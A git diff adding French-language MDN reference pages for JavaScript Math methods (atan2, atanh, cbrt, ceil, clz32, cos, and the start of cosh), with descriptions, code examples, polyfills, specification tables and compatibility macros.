+<p>La méthode <code>Math.atan2()</code> renvoie une valeur numérique comprise entre -Pi et Pi qui représente l'angle theta d'un point de coordonnées (x,y). Cela correspond à l'angle (dans le sens trigonométrique) entre l'axe des abscisses et le point de coordonnées (<code>x,y</code>). Attention, le premier argument de la fonction est l'ordonnée (y) et le second est l'abscisse (x).</p>
+
+<p><img alt="Graphique explicitant l'angle donné par un point de coordonnées X/Y" src="https://mdn.mozillademos.org/files/11565/atan2.png" style="height: 300px; width: 300px;"></p>
+
+<p><code>Math.atan2()</code> utilise deux arguments <code>x</code> et <code>y</code>, alors que la méthode <code>Math.atan()</code> utilise le ratio de deux nombres comme un seul argument.</p>
+
+<p><code>atan2()</code> est une méthode statique de l'objet <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.atan2()</code>, elle ne doit pas être utilisée comme la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.atan2()">Utiliser <code>Math.atan2()</code></h3>
+
+<pre class="brush:js">Math.atan2(90, 15); // 1.4056476493802699
+Math.atan2(15, 90); // 0.16514867741462683
+
+Math.atan2( ±0, -0 );               // ±PI.
+Math.atan2( ±0, +0 );               // ±0.
+Math.atan2( ±0, -x );               // ±PI pour x &gt; 0.
+Math.atan2( ±0, x );                // ±0 pour x &gt; 0.
+Math.atan2( -y, ±0 );               // -PI/2 pour y &gt; 0.
+Math.atan2( y, ±0 );                // PI/2 pour y &gt; 0.
+Math.atan2( ±y, -Infinity );        // ±PI pour y qui est un nombre fini &gt; 0.
+Math.atan2( ±y, +Infinity );        // ±0 pour y qui est un nombre fini &gt; 0.
+Math.atan2( ±Infinity, x );         // ±PI/2 pour x qui est un nombre fini.
+Math.atan2( ±Infinity, -Infinity ); // ±3*PI/4.
+Math.atan2( ±Infinity, +Infinity ); // ±PI/4.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.5', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan2', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atan2', 'Math.atan2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.atan2")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html
new file mode 100644
index 0000000000..ef350947af
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html
@@ -0,0 +1,102 @@
+---
+title: Math.atanh()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/atanh
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atanh
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.atanh()</strong></code> renvoie l'arc tangente hyperbolique d'un nombre :</p>
+
+<p><math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mrow><mo>(</mo><mrow><mo>-</mo><mn>1</mn><mo>,</mo><mn>1</mn></mrow><mo>)</mo></mrow><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arctanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mtext>  tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tanh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-atanh.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.atanh(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc tangente hyperbolique du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>atanh()</code> est une méthode statique de <code>Math</code>, il faut utiliser la syntaxe <code>Math.atanh()</code>, et non pas une méthode d'un objet <code>Math</code> créé sur mesure (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.atanh()">Utiliser <code>Math.atanh()</code></h3>
+
+<pre class="brush:js">Math.atanh(-2);  // NaN
+Math.atanh(-1);  // -Infinity
+Math.atanh(0);   // 0
+Math.atanh(0.5); // 0.5493061443340548
+Math.atanh(1);   // Infinity
+Math.atanh(2);   // NaN
+</pre>
+
+<p>Pour les valeurs strictement inférieures à -1 ou strictement supérieures à 1, {{jsxref("NaN")}} sera renvoyé.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Pour <math><semantics><mrow><mrow><mo>|</mo><mi>x</mi><mo>|</mo></mrow><mo>&lt;</mo><mn>1</mn></mrow><annotation encoding="TeX">\left|x\right| &lt; 1</annotation></semantics></math>, on a la formule suivante : <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">artanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mfrac><mrow><mn>1</mn><mo>+</mo><mi>x</mi></mrow><mrow><mn>1</mn><mo>-</mo><mi>x</mi></mrow></mfrac><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right)</annotation></semantics></math>et on peut donc émuler la fonction avec :</p>
+
+<pre class="brush: js">Math.atanh = Math.atanh || function(x) {
+  return Math.log((1+x)/(1-x)) / 2;
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atanh', 'Math.atanh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atanh', 'Math.atanh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.atanh")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html b/files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html
new file mode 100644
index 0000000000..fe6c19aa04
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html
@@ -0,0 +1,91 @@
+---
+title: Math.cbrt()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/cbrt
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.cbrt()</strong></code> renvoie la racine cubique (le nom anglais étant <em>cubic root</em>) d'un nombre :</p>
+
+<p><math><semantics><mrow><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>c</mi><mi>b</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><mtext>le seul</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>3</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-cbrt.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.cbrt(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La racine cubique du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>cbrt()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.cbrt()</code>, et non pas la méthode d'un autre objet créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.cbrt()">Utiliser <code>Math.cbrt()</code></h3>
+
+<pre class="brush:js">Math.cbrt(NaN); // NaN
+Math.cbrt(-1); // -1
+Math.cbrt(-0); // -0
+Math.cbrt(-Infinity); // -Infinity
+Math.cbrt(0); // 0
+Math.cbrt(1); // 1
+Math.cbrt(Infinity); // Infinity
+Math.cbrt(null); // 0
+Math.cbrt(2);  // 1.2599210498948732</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.cbrt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html b/files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html
new file mode 100644
index 0000000000..47e1bde9e2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html
@@ -0,0 +1,177 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/ceil
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.ceil()</strong></code> retourne le plus petit entier supérieur ou égal au nombre donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ceil.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.ceil(<var>x</var>) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le plus petit entier qui est supérieur ou égal au nombre donné.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>ceil()</code> est une méthode statique de <code>Math</code>. Elle doit être utilisée avec la syntaxe <code>Math.ceil()</code>, plutôt que comme une méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> <code>Math.ceil(null)</code> renverra <code>0</code> et pas {{jsxref("NaN")}}.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.ceil()">Utiliser <code>Math.ceil()</code></h3>
+
+<p>Voici un exemple d'utilisation de <code>Math.ceil()</code>.</p>
+
+<pre class="brush:js;">Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7
+Math.ceil(null);   // 0</pre>
+
+<h3 id="Arrondi_décimal">Arrondi décimal</h3>
+
+<pre class="brush:js">// Fermeture
+(function(){
+
+	/**
+	 * Fonction pour arrondir un nombre.
+	 *
+	 * @param	{String}	type	Le type d'arrondi.
+	 * @param	{Number}	value	Le nombre à arrondir.
+	 * @param	{Integer}	exp		L'exposant (le logarithme en base 10 de la base pour l'arrondi).
+	 * @returns	{Number}			La valeur arrondie.
+	 */
+	function decimalAdjust(type, value, exp) {
+		// Si l'exposant vaut undefined ou zero...
+		if (typeof exp === 'undefined' || +exp === 0) {
+			return Math[type](value);
+		}
+		value = +value;
+		exp = +exp;
+		// Si value n'est pas un nombre
+        // ou si l'exposant n'est pas entier
+		if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+			return NaN;
+		}
+		// Décalage
+		value = value.toString().split('e');
+		value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+		// Re "calage"
+		value = value.toString().split('e');
+		return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+	}
+
+	// Arrondi décimal
+	if (!Math.round10) {
+		Math.round10 = function(value, exp) {
+			return decimalAdjust('round', value, exp);
+		};
+	}
+	// Arrondi décimal inférieur
+	if (!Math.floor10) {
+		Math.floor10 = function(value, exp) {
+			return decimalAdjust('floor', value, exp);
+		};
+	}
+	// Arrondi décimal supérieur
+	if (!Math.ceil10) {
+		Math.ceil10 = function(value, exp) {
+			return decimalAdjust('ceil', value, exp);
+		};
+	}
+
+})();
+
+// Arrondi décimal
+Math.round10(55.55, -1); // 55.6
+Math.round10(55.549, -1); // 55.5
+Math.round10(55, 1); // 60
+Math.round10(54.9, 1); // 50
+Math.round10(-55.55, -1); // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1); // -50
+Math.round10(-55.1, 1); // -60
+// Arrondi décimal inférieur
+Math.floor10(55.59, -1); // 55.5
+Math.floor10(59, 1); // 50
+Math.floor10(-55.51, -1); // -55.6
+Math.floor10(-51, 1); // -60
+// Arrondi décimal supérieur
+Math.ceil10(55.51, -1); // 55.6
+Math.ceil10(51, 1); // 60
+Math.ceil10(-55.59, -1); // -55.5
+Math.ceil10(-59, 1); // -50
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.ceil")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}{</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html b/files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html
new file mode 100644
index 0000000000..e7c28a3865
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html
@@ -0,0 +1,95 @@
+---
+title: Math.clz32()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/clz32
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/clz32
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.clz32()</strong></code> renvoie le nombre de zéros de tête dans la représentation binaire sur 32 bits d'un nombre.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-clz32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.clz32(<var>x</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Le nombre de bits à zéro en tête de la représentation binaire sur 32 bits du nombre donné.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>"<code>clz32</code>" est un raccourci pour CountLeadingZeroes32 (en français, « compter les zéros de tête »).</p>
+
+<p>Si <code>x</code> n'est pas un nombre, il sera d'abord converti en nombre puis converti en un entier non signé sur 32 bits.</p>
+
+<p>Si l'entier non signé sur 32 bits résultant vaut <code>0</code>, la fonction renverra <code>32</code>, car tous les bits valent <code>0</code>.</p>
+
+<p>Cette fonction est particulièrement utile aux systèmes qui compilent du code JavaScript, comme <a href="/fr/docs/Emscripten">Emscripten</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Math.clz32(1)                // 31
+Math.clz32(1000)             // 22
+Math.clz32()                 // 32
+
+var liste = [NaN, Infinity, -Infinity, 0, -0, null, undefined, 'machin', {}, []];
+liste.every(n =&gt; Math.clz32(n) == 32); // true
+
+Math.clz32(true)             // 31
+Math.clz32(3.5)              // 30
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.clz32', 'Math.clz32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.clz32', 'Math.clz32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.clz32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Math.imul")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/cos/index.html b/files/fr/web/javascript/reference/objets_globaux/math/cos/index.html
new file mode 100644
index 0000000000..3c28ee7fb4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/cos/index.html
@@ -0,0 +1,98 @@
+---
+title: Math.cos()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/cos
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.cos()</strong></code> retourne le <a href="https://fr.wikipedia.org/wiki/Cosinus">cosinus</a> d'un angle dont la valeur est exprimée en <a href="https://fr.wikipedia.org/wiki/Radian">radians</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-cos.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.cos(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Une valeur numérique (exprimée en radians).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le cosinus de l'angle fourni en argument (exprimé en radians).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Math.cos()</code> renvoie une valeur numérique comprise entre -1 et 1. Cela représente la valeur du cosinus de l'angle correspondant à cette valeur.</p>
+
+<p><code>cos</code> est une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.cos()</code>, ne pas utiliser une méthode d'un objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.cos()">Utiliser <code>Math.cos()</code></h3>
+
+<pre class="brush:js">Math.cos(0);           // 1
+Math.cos(1);           // 0.5403023058681398
+
+Math.cos(Math.PI);     // -1
+Math.cos(2 * Math.PI); // 1
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.7', 'Math.cos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cos', 'Math.cos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.cos', 'Math.cos')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.cos")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html
new file mode 100644
index 0000000000..99d12d6cf0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html
@@ -0,0 +1,104 @@
+---
+title: Math.cosh()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/cosh
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cosh
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.cosh()</strong></code> renvoie le cosinus hyperbolique d'un nombre, défini par :</p>
+
+<p><math><semantics><mrow><mstyle mathvariant="monospace"><mo lspace="0em" rspace="thinmathspace">Math.cosh(x)</mo></mstyle><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.cosh(x)}} = \frac{e^x + e^{-x}}{2}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-cosh.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>(Voir la page sur {{jsxref("Objets_globaux/Math/E","e","",1)}})</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.cosh(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le cosinus hyperbolique du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
